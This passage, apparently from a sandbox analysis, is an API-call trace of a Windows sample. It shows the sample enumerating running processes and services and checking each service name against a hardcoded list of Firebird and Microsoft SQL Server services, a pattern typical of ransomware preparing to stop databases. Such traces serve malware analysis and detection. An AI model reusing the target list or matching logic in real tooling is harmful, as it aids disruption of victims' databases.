(lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0283.547] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5cf190 | out: hHeap=0x4e0000) returned 1 [0283.547] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0283.884] Process32FirstW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0283.885] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0283.886] lstrlenW (lpString="System") returned 6 [0283.886] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0283.886] lstrlenW (lpString="smss.exe") returned 8 [0283.886] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.887] lstrlenW (lpString="csrss.exe") returned 9 [0283.887] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0283.887] lstrlenW (lpString="wininit.exe") returned 11 [0283.887] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.888] lstrlenW (lpString="csrss.exe") returned 9 [0283.888] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0283.889] lstrlenW (lpString="winlogon.exe") returned 12 [0283.889] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0283.889] lstrlenW (lpString="services.exe") returned 12 [0283.889] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0283.890] lstrlenW (lpString="lsass.exe") returned 9 [0283.890] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0283.890] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0283.890] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0283.891] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0283.891] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.892] lstrlenW (lpString="svchost.exe") returned 11 [0283.892] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.893] lstrlenW (lpString="svchost.exe") returned 11 [0283.893] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0283.893] lstrlenW (lpString="dwm.exe") returned 7 [0283.893] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.894] lstrlenW (lpString="svchost.exe") returned 11 [0283.894] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.894] lstrlenW (lpString="svchost.exe") returned 11 [0283.894] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.895] lstrlenW (lpString="svchost.exe") returned 11 [0283.895] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.895] lstrlenW (lpString="svchost.exe") returned 11 [0283.896] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.896] lstrlenW (lpString="svchost.exe") returned 11 [0283.896] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.897] lstrlenW (lpString="svchost.exe") returned 11 [0283.897] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.897] lstrlenW (lpString="svchost.exe") returned 11 [0283.897] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.898] lstrlenW (lpString="svchost.exe") returned 11 [0283.898] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.898] lstrlenW (lpString="svchost.exe") returned 11 [0283.898] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.899] lstrlenW (lpString="svchost.exe") returned 11 [0283.899] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0283.899] lstrlenW (lpString="spoolsv.exe") returned 11 [0283.900] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.900] lstrlenW (lpString="svchost.exe") returned 11 [0283.900] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0283.901] lstrlenW (lpString="audiodg.exe") returned 11 [0283.901] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0283.901] lstrlenW (lpString="sihost.exe") returned 10 [0283.901] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.902] lstrlenW (lpString="svchost.exe") returned 11 [0283.902] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0283.902] lstrlenW (lpString="taskhostw.exe") returned 13 [0283.903] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0283.903] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0283.903] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0283.904] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0283.904] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0283.904] lstrlenW (lpString="Memory Compression") returned 18 [0283.904] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0283.905] lstrlenW (lpString="explorer.exe") returned 12 [0283.905] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0283.905] lstrlenW (lpString="SearchUI.exe") returned 12 [0283.905] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0283.906] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0283.906] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0283.906] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0283.906] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0283.907] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0283.907] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.908] lstrlenW (lpString="svchost.exe") returned 11 [0283.908] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0283.908] lstrlenW (lpString="finbbp.exe") returned 10 [0283.909] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0283.909] lstrlenW (lpString="cmd.exe") returned 7 [0283.909] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x438, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0283.910] lstrlenW (lpString="conhost.exe") returned 11 [0283.910] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0283.910] lstrlenW (lpString="cmd.exe") returned 7 [0283.910] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0283.911] lstrlenW (lpString="conhost.exe") returned 11 [0283.911] Process32NextW (in: hSnapshot=0x35c, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0283.912] CloseHandle (hObject=0x35c) returned 1 [0283.912] Sleep (dwMilliseconds=0x1f4) [0284.585] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x51db70 [0284.585] EnumServicesStatusExW (in: hSCManager=0x51db70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24bff3c, lpServicesReturned=0x24bff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24bff3c, lpServicesReturned=0x24bff54, lpResumeHandle=0x0) returned 0 [0284.586] GetLastError () returned 0xea [0284.586] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x1ca4) returned 0x3e11e50 [0284.586] EnumServicesStatusExW (in: hSCManager=0x51db70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3e11e50, cbBufSize=0x1ca4, pcbBytesNeeded=0x24bff3c, lpServicesReturned=0x24bff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3e11e50, pcbBytesNeeded=0x24bff3c, lpServicesReturned=0x24bff54, lpResumeHandle=0x0) returned 1 [0284.587] CloseServiceHandle (hSCObject=0x51db70) returned 1 [0284.588] lstrlenW (lpString="Appinfo") returned 7 [0284.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0284.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0284.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0284.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0284.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0284.588] lstrlenW (lpString="AppXSvc") returned 7 [0284.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0284.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0284.588] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0284.588] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0284.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0284.588] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0284.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0284.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0284.588] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0284.588] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0284.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0284.588] lstrlenW (lpString="Audiosrv") returned 8 [0284.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0284.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0284.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0284.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0284.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0284.588] lstrlenW (lpString="BFE") returned 3 [0284.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0284.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0284.589] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0284.589] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0284.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0284.589] lstrlenW (lpString="BITS") returned 4 [0284.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0284.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0284.589] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0284.589] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0284.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0284.589] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0284.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0284.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0284.589] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0284.589] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0284.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0284.589] lstrlenW (lpString="CDPSvc") returned 6 [0284.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0284.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0284.589] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0284.589] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0284.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0284.589] lstrlenW (lpString="ClickToRunSvc") returned 13 [0284.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0284.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0284.590] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0284.590] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0284.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0284.590] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0284.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0284.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0284.590] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0284.590] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0284.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0284.590] lstrlenW (lpString="CryptSvc") returned 8 [0284.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0284.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0284.590] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0284.590] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0284.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0284.590] lstrlenW (lpString="DcomLaunch") returned 10 [0284.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0284.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0284.590] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0284.590] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0284.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0284.590] lstrlenW (lpString="DeviceAssociationService") returned 24 [0284.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0284.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0284.590] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0284.590] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0284.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0284.591] lstrlenW (lpString="Dhcp") returned 4 [0284.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0284.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0284.591] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0284.591] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0284.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0284.591] lstrlenW (lpString="Dnscache") returned 8 [0284.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0284.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0284.591] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0284.591] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0284.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0284.591] lstrlenW (lpString="DPS") returned 3 [0284.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0284.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0284.591] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0284.591] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0284.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0284.591] lstrlenW (lpString="DusmSvc") returned 7 [0284.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0284.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0284.591] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0284.591] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0284.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0284.591] lstrlenW (lpString="EventLog") returned 8 [0284.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0284.591] 